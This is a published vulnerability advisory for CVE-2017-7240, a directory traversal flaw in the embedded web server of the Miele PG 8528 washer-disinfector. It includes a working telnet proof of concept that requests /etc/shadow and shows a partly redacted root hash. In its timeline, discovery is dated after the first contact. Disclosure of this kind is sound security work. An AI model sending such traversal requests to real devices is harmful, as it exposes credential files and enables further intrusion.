Miele Professional PG 8528 Directory Traversal

`Title:  
======  
Miele Professional PG 8528 - Web Server Directory Traversal  
  
Author:  
=======  
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG  
  
CVE-ID:  
=======  
CVE-2017-7240  
  
Risk Information:  
=================  
Risk Factor: Medium  
CVSS Base Score: 5.0  
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N  
CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C  
CVSS Temporal Score: 3.9  
  
Timeline:  
=========  
2016-11-16 Vulnerability discovered  
2016-11-10 Asked for security contact  
2016-11-21 Contact with Miele product representative  
2016-12-03 Send details to the Miele product representative  
2017-01-19 Asked for update, no response  
2017-02-03 Asked for update, no response  
2017-03-23 Public disclosure  
  
Status:  
=======  
Published  
  
Affected Products:  
==================  
Miele Professional PG 8528 (washer-disinfector) with ethernet interface.  
  
Vendor Homepage:  
================  
https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528  
  
Details:  
========  
The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.  
  
Proof of Concept:  
=================  
~$ telnet 192.168.0.1 80  
Trying 192.168.0.1...  
Connected to 192.168.0.1.  
Escape character ist '^]'.  
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1  
  
HTTP/1.1 200 OK  
Date: Wed, 16 Nov 2016 11:58:50 GMT  
Server: PST10 WebServer  
Content-Type: application/octet-stream  
Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT  
Content-disposition: attachment; filename="./etc/shadow"  
Accept-Ranges: bytes  
Content-Length: 52  
  
root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::  
  
Fix:  
====  
We are not aware of an actual fix.  
  
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